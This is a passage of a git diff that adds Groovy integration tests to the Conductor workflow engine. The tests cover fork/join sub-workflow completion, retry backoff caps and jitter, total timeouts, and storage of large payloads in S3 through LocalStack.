TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "the parent is swept" + sweep(parentWorkflowId) + + then: "verify that parent's JOIN task in in progress" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.IN_PROGRESS + !tasks[2].subworkflowChanged + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "poll and complete the failed task in the sub workflow" + def workflow = workflowExecutionService.getExecutionStatus(parentWorkflowId, true) + def outerJoinId = workflow.getTaskByRefName("outer_join").taskId + def innerJoinId = workflow.getTaskByRefName("inner_join").taskId + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker', ['op': 'task2.done']) + + then: "verify that the subworkflow completed" + with(workflowExecutionService.getExecutionStatus(subworkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 3 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.FAILED + tasks[1].retried + tasks[2].taskType == 'integration_task_2' + tasks[2].status == Task.Status.COMPLETED + tasks[2].retriedTaskId == tasks[1].taskId + } + + and: "verify that the parent workflow's sub workflow task is completed" + with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.IN_PROGRESS + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.IN_PROGRESS + } + + when: "the parent workflow is swept" + sweep(parentWorkflowId) + + and: "JOIN tasks are executed" + asyncSystemTaskExecutor.execute(joinTask, innerJoinId) + asyncSystemTaskExecutor.execute(joinTask, outerJoinId) + + then: "verify the parent workflow reaches COMPLETED state" + assertParentWorkflowIsComplete() + } + + private void assertParentWorkflowIsComplete() { + assert with(workflowExecutionService.getExecutionStatus(parentWorkflowId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 7 + tasks[0].taskType == TASK_TYPE_FORK + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == TASK_TYPE_FORK + tasks[1].status == Task.Status.COMPLETED + tasks[2].taskType == TASK_TYPE_SUB_WORKFLOW + tasks[2].status == Task.Status.COMPLETED + tasks[3].taskType == 'integration_task_2' + tasks[3].status == Task.Status.COMPLETED + tasks[4].taskType == TASK_TYPE_JOIN + tasks[4].status == Task.Status.COMPLETED + tasks[5].taskType == 'integration_task_2' + tasks[5].status == Task.Status.COMPLETED + tasks[6].taskType == TASK_TYPE_JOIN + tasks[6].status == Task.Status.COMPLETED + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/RetryPolicySpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/RetryPolicySpec.groovy new file mode 100644 index 0000000..4b45c7d --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/RetryPolicySpec.groovy @@ -0,0 +1,355 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.dal.ExecutionDAOFacade +import com.netflix.conductor.core.exception.TerminateWorkflowException +import com.netflix.conductor.test.base.AbstractSpecification + +/** + * End-to-end integration tests for retry policy features: + * - maxRetryDelaySeconds: caps the computed backoff delay so it never exceeds a configured ceiling + * - backoffJitterMs: adds a random millisecond offset in [0, maxJitterMs] to each retry delay, + * spreading retries to prevent thundering-herd storms + */ +class RetryPolicySpec extends AbstractSpecification { + + @Autowired + ExecutionDAOFacade executionDAOFacade + + private static final String TASK_NAME = 'retry_policy_task' + private static final String WORKFLOW_NAME = 'retry_policy_wf' + + def setup() { + def wfTask = new WorkflowTask() + wfTask.name = TASK_NAME + wfTask.taskReferenceName = 'retry_task_ref' + wfTask.type = TaskType.SIMPLE + + def wfDef = new WorkflowDef() + wfDef.name = WORKFLOW_NAME + wfDef.version = 1 + wfDef.tasks = [wfTask] + wfDef.ownerEmail = 'test@example.com' + wfDef.timeoutSeconds = 3600 + wfDef.timeoutPolicy = WorkflowDef.TimeoutPolicy.ALERT_ONLY + metadataService.registerWorkflowDef(wfDef) + } + + def cleanup() { + try { metadataService.unregisterWorkflowDef(WORKFLOW_NAME, 1) } catch (ignored) {} + try { metadataService.unregisterTaskDef(TASK_NAME) } catch (ignored) {} + } + + /** Poll until the next SCHEDULED task is available to be polled (handles callbackAfter delays). */ + private Task pollUntilAvailable() { + Task polled = null + conditions.eventually { + polled = workflowExecutionService.poll(TASK_NAME, 'test-worker') + assert polled != null + } + return polled + } + + private static TaskResult failedResult(Task task) { + def r = new TaskResult(task) + r.status = TaskResult.Status.FAILED + return r + } + + // ------------------------------------------------------------------------- + // maxRetryDelaySeconds + // ------------------------------------------------------------------------- + + def "Exponential backoff delay is capped by maxRetryDelaySeconds"() { + given: "A task def with exponential backoff, base delay 2 s, cap 3 s" + // retry 0: 2 * 2^0 = 2 s (below cap); retry 1: 2 * 2^1 = 4 s → capped to 3 s + def taskDef = new TaskDef() + taskDef.name = TASK_NAME + taskDef.retryCount = 5 + taskDef.retryDelaySeconds = 2 + taskDef.retryLogic = TaskDef.RetryLogic.EXPONENTIAL_BACKOFF + taskDef.maxRetryDelaySeconds = 3 + taskDef.timeoutSeconds = 3600 + taskDef.responseTimeoutSeconds = 3600 + metadataService.registerTaskDef([taskDef]) + + when: "Start the workflow and fail the task (retry 0 — raw = 2 s, below cap)" + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'retry-cap-exp', [:], null) + workflowExecutionService.updateTask(failedResult(pollUntilAvailable())) + + then: "Rescheduled task (retry 0) has callbackAfterSeconds = 2 (below the 3 s cap)" + conditions.eventually { + def rescheduled = workflowExecutionService.getExecutionStatus(wfId, true) + .tasks.find { it.status == Task.Status.SCHEDULED } + assert rescheduled != null + assert rescheduled.callbackAfterSeconds == 2 + } + + when: "Fail the task again (retry 1 — raw = 4 s, above cap)" + workflowExecutionService.updateTask(failedResult(pollUntilAvailable())) + + then: "Rescheduled task (retry 1) has callbackAfterSeconds = 3 (capped from 4 s)" + conditions.eventually { + def rescheduled = workflowExecutionService.getExecutionStatus(wfId, true) + .tasks.findAll { it.status == Task.Status.SCHEDULED }.last() + assert rescheduled != null + assert rescheduled.callbackAfterSeconds == 3 + } + } + + def "Linear backoff delay is capped by maxRetryDelaySeconds"() { + given: "A task def with linear backoff (scale=2), base delay 2 s, cap 5 s" + // retry 0: 2 * 2 * 1 = 4 s (below cap 5 s); retry 1: 2 * 2 * 2 = 8 s → capped to 5 s + def taskDef = new TaskDef() + taskDef.name = TASK_NAME + taskDef.retryCount = 5 + taskDef.retryDelaySeconds = 2 + taskDef.retryLogic = TaskDef.RetryLogic.LINEAR_BACKOFF + taskDef.backoffScaleFactor = 2 + taskDef.maxRetryDelaySeconds = 5 + taskDef.timeoutSeconds = 3600 + taskDef.responseTimeoutSeconds = 3600 + metadataService.registerTaskDef([taskDef]) + + when: "Start the workflow and fail the task (retry 0 — raw = 4 s, below cap)" + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'retry-cap-lin', [:], null) + workflowExecutionService.updateTask(failedResult(pollUntilAvailable())) + + then: "Rescheduled task has callbackAfterSeconds = 4 (below cap)" + conditions.eventually { + def rescheduled = workflowExecutionService.getExecutionStatus(wfId, true) + .tasks.find { it.status == Task.Status.SCHEDULED } + assert rescheduled?.callbackAfterSeconds == 4 + } + + when: "Fail the task again (retry 1 — raw = 8 s, above cap)" + workflowExecutionService.updateTask(failedResult(pollUntilAvailable())) + + then: "Rescheduled task has callbackAfterSeconds = 5 (capped from 8 s)" + conditions.eventually { + def rescheduled = workflowExecutionService.getExecutionStatus(wfId, true) + .tasks.findAll { it.status == Task.Status.SCHEDULED }.last() + assert rescheduled?.callbackAfterSeconds == 5 + } + } + + // ------------------------------------------------------------------------- + // backoffJitterMs + // ------------------------------------------------------------------------- + + def "backoffJitterMs adds a random offset in [0, maxJitterMs] to the retry delay"() { + given: "A task def with fixed retry (60 s) and 5000 ms of jitter" + def taskDef = new TaskDef() + taskDef.name = TASK_NAME + taskDef.retryCount = 3 + taskDef.retryDelaySeconds = 60 + taskDef.retryLogic = TaskDef.RetryLogic.FIXED + taskDef.backoffJitterMs = 5000 + taskDef.timeoutSeconds = 3600 + taskDef.responseTimeoutSeconds = 3600 + metadataService.registerTaskDef([taskDef]) + + when: "Start the workflow and fail the task once" + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'jitter-test', [:], null) + workflowExecutionService.updateTask(failedResult(pollUntilAvailable())) + + then: "callbackAfterSeconds stays at the base delay (60)" + and: "callbackAfterMs on the TaskModel is in [60_000, 65_000] — base + up to maxJitterMs" + conditions.eventually { + def rescheduled = workflowExecutionService.getExecutionStatus(wfId, true) + .tasks.find { it.status == Task.Status.SCHEDULED } + assert rescheduled != null + assert rescheduled.callbackAfterSeconds == 60 + def taskModel = executionDAOFacade.getTaskModel(rescheduled.taskId) + assert taskModel.callbackAfterMs >= 60_000 + assert taskModel.callbackAfterMs <= 65_000 + } + } + + def "backoffJitterMs of zero produces no jitter — callbackAfterMs equals base delay exactly"() { + given: "A task def with zero jitter" + def taskDef = new TaskDef() + taskDef.name = TASK_NAME + taskDef.retryCount = 3 + taskDef.retryDelaySeconds = 30 + taskDef.retryLogic = TaskDef.RetryLogic.FIXED + taskDef.backoffJitterMs = 0 + taskDef.timeoutSeconds = 3600 + taskDef.responseTimeoutSeconds = 3600 + metadataService.registerTaskDef([taskDef]) + + when: + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'no-jitter-test', [:], null) + workflowExecutionService.updateTask(failedResult(pollUntilAvailable())) + + then: "callbackAfterMs is exactly 30_000 (no jitter added)" + conditions.eventually { + def rescheduled = workflowExecutionService.getExecutionStatus(wfId, true) + .tasks.find { it.status == Task.Status.SCHEDULED } + assert rescheduled != null + def taskModel = executionDAOFacade.getTaskModel(rescheduled.taskId) + assert taskModel.callbackAfterMs == 30_000 + } + } + + // ------------------------------------------------------------------------- + // cap + jitter combined + // ------------------------------------------------------------------------- + + def "Cap is applied before jitter — callbackAfterMs is in [cap_ms, cap_ms + maxJitterMs]"() { + given: "Exponential backoff: base=2s, cap=3s, jitter up to 2000ms" + // retry 0: raw=2s, below cap; retry 1: raw=4s → capped to 3s; callbackAfterMs in [3000, 5000] + def taskDef = new TaskDef() + taskDef.name = TASK_NAME + taskDef.retryCount = 5 + taskDef.retryDelaySeconds = 2 + taskDef.retryLogic = TaskDef.RetryLogic.EXPONENTIAL_BACKOFF + taskDef.maxRetryDelaySeconds = 3 + taskDef.backoffJitterMs = 2000 + taskDef.timeoutSeconds = 3600 + taskDef.responseTimeoutSeconds = 3600 + metadataService.registerTaskDef([taskDef]) + + when: "Start workflow and fail the task (retry 0 — raw=2s, below cap)" + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'cap-jitter-test', [:], null) + workflowExecutionService.updateTask(failedResult(pollUntilAvailable())) + + // wait for retry 0 to be rescheduled before polling again + conditions.eventually { + assert workflowExecutionService.getExecutionStatus(wfId, true) + .tasks.find { it.status == Task.Status.SCHEDULED } != null + } + + and: "Fail again (retry 1 — raw=4s → capped to 3s)" + workflowExecutionService.updateTask(failedResult(pollUntilAvailable())) + + then: "callbackAfterSeconds = 3 (the cap) and callbackAfterMs is in [3_000, 5_000]" + conditions.eventually { + def rescheduled = workflowExecutionService.getExecutionStatus(wfId, true) + .tasks.findAll { it.status == Task.Status.SCHEDULED }.last() + assert rescheduled != null + assert rescheduled.callbackAfterSeconds == 3 + def taskModel = executionDAOFacade.getTaskModel(rescheduled.taskId) + assert taskModel.callbackAfterMs >= 3_000 + assert taskModel.callbackAfterMs <= 5_000 + } + } + + // ========================================================================= + // totalTimeoutSeconds + // ========================================================================= + + def "totalTimeoutSeconds=0 is disabled — retries continue as normal"() { + given: + def taskDef = new TaskDef() + taskDef.name = TASK_NAME + taskDef.retryCount = 5 + taskDef.retryDelaySeconds = 0 + taskDef.retryLogic = TaskDef.RetryLogic.FIXED + taskDef.totalTimeoutSeconds = 0 // disabled + taskDef.timeoutSeconds = 3600 + taskDef.responseTimeoutSeconds = 3600 + metadataService.registerTaskDef([taskDef]) + + when: + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'total-timeout-disabled', [:], null) + workflowExecutionService.updateTask(failedResult(pollUntilAvailable())) + + then: "retry is scheduled (total timeout disabled)" + conditions.eventually { + def wf = workflowExecutionService.getExecutionStatus(wfId, true) + assert wf.tasks.size() >= 2 + assert wf.tasks.last().status == Task.Status.SCHEDULED + } + } + + def "totalTimeoutSeconds exceeded on retry — workflow fails with no further retries"() { + given: "A task with retries allowed but total budget of 5 s" + def taskDef = new TaskDef() + taskDef.name = TASK_NAME + taskDef.retryCount = 10 + taskDef.retryDelaySeconds = 0 + taskDef.retryLogic = TaskDef.RetryLogic.FIXED + taskDef.totalTimeoutSeconds = 5 + taskDef.timeoutSeconds = 0 // disabled so constraint (timeoutSeconds ≤ totalTimeout) passes + taskDef.responseTimeoutSeconds = 1 + taskDef.timeoutPolicy = TaskDef.TimeoutPolicy.TIME_OUT_WF + metadataService.registerTaskDef([taskDef]) + + when: "Start the workflow, burn some time, then fail the task" + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'total-timeout-exceeded', [:], null) + + // Retrieve the internal task model and backdate firstScheduledTime to exceed the budget + conditions.eventually { + assert workflowExecutionService.getExecutionStatus(wfId, true) + .tasks.find { it.status == Task.Status.SCHEDULED } != null + } + def scheduled = workflowExecutionService.getExecutionStatus(wfId, true).tasks.first() + def taskModel = executionDAOFacade.getTaskModel(scheduled.taskId) + taskModel.firstScheduledTime = System.currentTimeMillis() - 60_000 // 60s ago > 5s budget + executionDAOFacade.updateTask(taskModel) + + // Now fail the task — retry() should detect total timeout exceeded and terminate workflow + workflowExecutionService.updateTask(failedResult(pollUntilAvailable())) + + then: "Workflow fails (total timeout exceeded, no more retries)" + conditions.eventually { + def wf = workflowExecutionService.getExecutionStatus(wfId, false) + assert wf.status == Workflow.WorkflowStatus.TIMED_OUT || wf.status == Workflow.WorkflowStatus.FAILED + } + } + + def "totalTimeoutSeconds exceeded in checkTotalTimeout — IN_PROGRESS task is timed out"() { + given: "A task with RETRY timeout policy and a 5 s total budget" + def taskDef = new TaskDef() + taskDef.name = TASK_NAME + taskDef.retryCount = 10 + taskDef.retryDelaySeconds = 0 + taskDef.retryLogic = TaskDef.RetryLogic.FIXED + taskDef.totalTimeoutSeconds = 5 + taskDef.timeoutSeconds = 0 // disabled so constraint passes + taskDef.responseTimeoutSeconds = 1 + taskDef.timeoutPolicy = TaskDef.TimeoutPolicy.RETRY + metadataService.registerTaskDef([taskDef]) + + when: "Start the workflow, poll the task (IN_PROGRESS), then backdate firstScheduledTime" + def wfId = startWorkflow(WORKFLOW_NAME, 1, 'total-timeout-inprogress', [:], null) + def polled = pollUntilAvailable() + + // Backdate firstScheduledTime on the IN_PROGRESS task to exceed total budget + def taskModel = executionDAOFacade.getTaskModel(polled.taskId) + taskModel.firstScheduledTime = System.currentTimeMillis() - 60_000 + executionDAOFacade.updateTask(taskModel) + + // Trigger a decide cycle (sweep) to fire checkTotalTimeout + sweep(wfId) + + then: "Task is TIMED_OUT by checkTotalTimeout (RETRY policy sets status, doesn't terminate wf yet)" + conditions.eventually { + def wf = workflowExecutionService.getExecutionStatus(wfId, true) + def timedOutTask = wf.tasks.find { it.taskId == polled.taskId } + assert timedOutTask != null + assert timedOutTask.status == Task.Status.TIMED_OUT + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/S3ExternalPayloadStorageE2ESpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/S3ExternalPayloadStorageE2ESpec.groovy new file mode 100644 index 0000000..184a77d --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/S3ExternalPayloadStorageE2ESpec.groovy @@ -0,0 +1,316 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.boot.test.context.SpringBootTest +import org.springframework.context.annotation.Import +import org.springframework.test.context.TestPropertySource +import org.testcontainers.containers.localstack.LocalStackContainer +import org.testcontainers.spock.Testcontainers +import org.testcontainers.utility.DockerImageName + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.common.utils.ExternalPayloadStorage +import com.netflix.conductor.test.base.AbstractSpecification +import com.netflix.conductor.test.config.LocalStackS3Configuration + +import software.amazon.awssdk.auth.credentials.AwsBasicCredentials +import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider +import software.amazon.awssdk.regions.Region +import software.amazon.awssdk.services.s3.S3Client +import software.amazon.awssdk.services.s3.model.* +import spock.lang.Shared + +@Testcontainers +@SpringBootTest(classes = com.netflix.conductor.ConductorTestApp.class) +@TestPropertySource(locations = "classpath:application-s3test.properties") +@Import(LocalStackS3Configuration) +class S3ExternalPayloadStorageE2ESpec extends AbstractSpecification { + + @Shared + static LocalStackContainer localstack = new LocalStackContainer(DockerImageName.parse("localstack/localstack:3.0")) + .withServices(LocalStackContainer.Service.S3) + .withEnv("DEBUG", "1") + + @Shared + S3Client testS3Client + + @Shared + def LINEAR_WORKFLOW_T1_T2 = 'integration_test_wf' + + @Autowired + ExternalPayloadStorage externalPayloadStorage + + def setupSpec() { + // Start LocalStack + localstack.start() + + // Configure the test configuration with LocalStack endpoint + LocalStackS3Configuration.setLocalStackEndpoint( + localstack.getEndpointOverride(LocalStackContainer.Service.S3).toString()) + + // Create S3 client pointing to LocalStack for verification purposes + testS3Client = S3Client.builder() + .endpointOverride(localstack.getEndpointOverride(LocalStackContainer.Service.S3)) + .credentialsProvider(StaticCredentialsProvider.create( + AwsBasicCredentials.create(localstack.getAccessKey(), localstack.getSecretKey()))) + .region(Region.of(localstack.getRegion())) + .forcePathStyle(true) + .build() + + // Create test bucket + createTestBucket() + + println "LocalStack S3 started at: ${localstack.getEndpointOverride(LocalStackContainer.Service.S3)}" + } + + def cleanupSpec() { + if (testS3Client) { + testS3Client.close() + } + localstack.stop() + } + + def setup() { + workflowTestUtil.registerWorkflows('simple_workflow_1_integration_test.json') + } + + def "Test workflow with large input payload stored in S3"() { + given: "A workflow definition and large input payload" + metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1) + def largeInput = createLargePayload(200) // 200+ bytes to exceed threshold + def correlationId = 'large-input-s3-test' + + when: "Starting workflow with large input" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, correlationId, largeInput, null) + + then: "Verify workflow starts and input is externalized" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + input.isEmpty() // Input should be externalized + externalInputPayloadStoragePath != null + externalInputPayloadStoragePath.startsWith("workflow/input/") + } + + and: "Verify S3 object exists and contains correct data" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def s3ObjectExists = checkS3ObjectExists(workflow.externalInputPayloadStoragePath) + s3ObjectExists + + and: "Verify S3 object content matches original input" + def storedContent = getS3ObjectContent(workflow.externalInputPayloadStoragePath) + storedContent != null + } + + def "Test task with large output payload stored in S3"() { + given: "A running workflow" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, 'large-output-s3-test', [:], null) + + when: "Completing first task with large output" + def largeOutput = createLargePayload(300) // Exceeds threshold + def polledAndAckTask = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'test.worker', largeOutput) + + then: "Verify task completed and output is externalized" + polledAndAckTask.size() == 1 + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.isEmpty() + tasks[0].externalOutputPayloadStoragePath != null + tasks[0].externalOutputPayloadStoragePath.startsWith("task/output/") + } + + and: "Verify S3 object exists for task output" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def taskOutputPath = workflow.tasks[0].externalOutputPayloadStoragePath + checkS3ObjectExists(taskOutputPath) + } + + def "Test workflow completion with large output stored in S3"() { + given: "A running workflow" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, 'large-workflow-output-test', [:], null) + + when: "Completing all tasks with outputs that result in large workflow output" + // Complete first task + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'test.worker', createLargePayload(150)) + + // Complete second task + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'test.worker', createLargePayload(150)) + + then: "Verify workflow completes and task outputs are externalized" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + + // Task outputs should be externalized due to their large size + tasks.size() == 2 + tasks[0].outputData.isEmpty() + tasks[1].outputData.isEmpty() + tasks[0].externalOutputPayloadStoragePath != null + tasks[1].externalOutputPayloadStoragePath != null + + !output.isEmpty() + } + + and: "Verify S3 objects exist for task outputs" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + checkS3ObjectExists(workflow.tasks[0].externalOutputPayloadStoragePath) + checkS3ObjectExists(workflow.tasks[1].externalOutputPayloadStoragePath) + } + + def "Test small payload is not externalized"() { + given: "A workflow with very small input" + def smallInput = ['k': 'v'] // Very small payload - well under 1KB threshold + def correlationId = 'small-input-test' + + when: "Starting workflow with small input" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, correlationId, smallInput, null) + + then: "Verify input is not externalized" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + !input.isEmpty() // Input should not be externalized + externalInputPayloadStoragePath == null + input.k == 'v' + } + } + + def "Test multiple workflows with S3 storage isolation"() { + given: "Two workflows with large inputs" + def largeInput1 = createLargePayload(200, "workflow1") + def largeInput2 = createLargePayload(250, "workflow2") + + when: "Starting both workflows" + def workflowId1 = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, 'isolation-test-1', largeInput1, null) + def workflowId2 = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, 'isolation-test-2', largeInput2, null) + + then: "Verify both workflows have separate S3 objects" + def workflow1 = workflowExecutionService.getExecutionStatus(workflowId1, true) + def workflow2 = workflowExecutionService.getExecutionStatus(workflowId2, true) + + workflow1.externalInputPayloadStoragePath != null + workflow2.externalInputPayloadStoragePath != null + workflow1.externalInputPayloadStoragePath != workflow2.externalInputPayloadStoragePath + + and: "Both S3 objects exist" + checkS3ObjectExists(workflow1.externalInputPayloadStoragePath) + checkS3ObjectExists(workflow2.externalInputPayloadStoragePath) + } + + def "Test external payload storage integration works end-to-end"() { + given: "A workflow with large input payload" + def largeInput = createLargePayload(500) + def correlationId = 'integration-test' + + when: "Running complete workflow with large payloads" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, correlationId, largeInput, null) + + // Complete first task with large output + workflowTestUtil.pollAndCompleteTask('integration_task_1', 'test.worker', createLargePayload(400)) + + // Complete second task with large output + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'test.worker', createLargePayload(300)) + + then: "Verify complete workflow execution with external storage" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + + // Workflow input should be externalized + input.isEmpty() + externalInputPayloadStoragePath != null + + // Task outputs should be externalized + tasks.size() == 2 + tasks[0].outputData.isEmpty() + tasks[1].outputData.isEmpty() + tasks[0].externalOutputPayloadStoragePath != null + tasks[1].externalOutputPayloadStoragePath != null + + // Workflow output will be small because it only contains references to externalized task outputs + !output.isEmpty() + } + + and: "All S3 objects exist for input and task outputs" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + checkS3ObjectExists(workflow.externalInputPayloadStoragePath) + checkS3ObjectExists(workflow.tasks[0].externalOutputPayloadStoragePath) + checkS3ObjectExists(workflow.tasks[1].externalOutputPayloadStoragePath) + } + + // Helper methods + private void createTestBucket() { + try { + testS3Client.createBucket(CreateBucketRequest.builder() + .bucket("conductor-test-payloads") + .build()) + println "Created S3 bucket: conductor-test-payloads" + } catch (Exception e) { + println "Error creating bucket (may already exist): ${e.message}" + } + } + + private boolean checkS3ObjectExists(String key) { + try { + testS3Client.headObject(HeadObjectRequest.builder() + .bucket("conductor-test-payloads") + .key(key) + .build()) + return true + } catch (Exception e) { + println "S3 object does not exist: ${key}, error: ${e.message}" + return false + } + } + + private String getS3ObjectContent(String key) { + try { + def response = testS3Client.getObject(GetObjectRequest.builder() + .bucket("conductor-test-payloads") + .key(key) + .build()) + return new String(response.readAllBytes(), "UTF-8") + } catch (Exception e) { + println "Error reading S3 object: ${key}, error: ${e.message}" + return null + } + } + + private Map createLargePayload(int sizeMultiplier, String prefix = "test") { + def payload = [:] + def baseData = "x" * 50 // 50 chars + + // Create enough data to exceed the 1KB threshold + (1..sizeMultiplier/5).each { i -> + payload["${prefix}_field_${i}"] = baseData + "_" + i + "_additional_padding_to_ensure_size_" + ("y" * 100) + } + + // Add some structured data + payload["metadata"] = [ + timestamp: System.currentTimeMillis(), + version: "1.0", + description: "Large payload for testing S3 external storage functionality with extended description to ensure adequate size for 1KB threshold testing and verification purposes" + ] + + // Add more data to guarantee we exceed 1KB + payload["additionalData"] = [ + field1: "This is additional data to ensure we exceed the 1KB threshold" + ("z" * 200), + field2: "More padding data for size requirements" + ("w" * 200), + field3: "Even more content to guarantee threshold exceeded" + ("v" * 200) + ] + + return payload + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SQSEventQueueE2ESpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SQSEventQueueE2ESpec.groovy new file mode 100644 index 0000000..4fff794 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SQSEventQueueE2ESpec.groovy @@ -0,0 +1,576 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

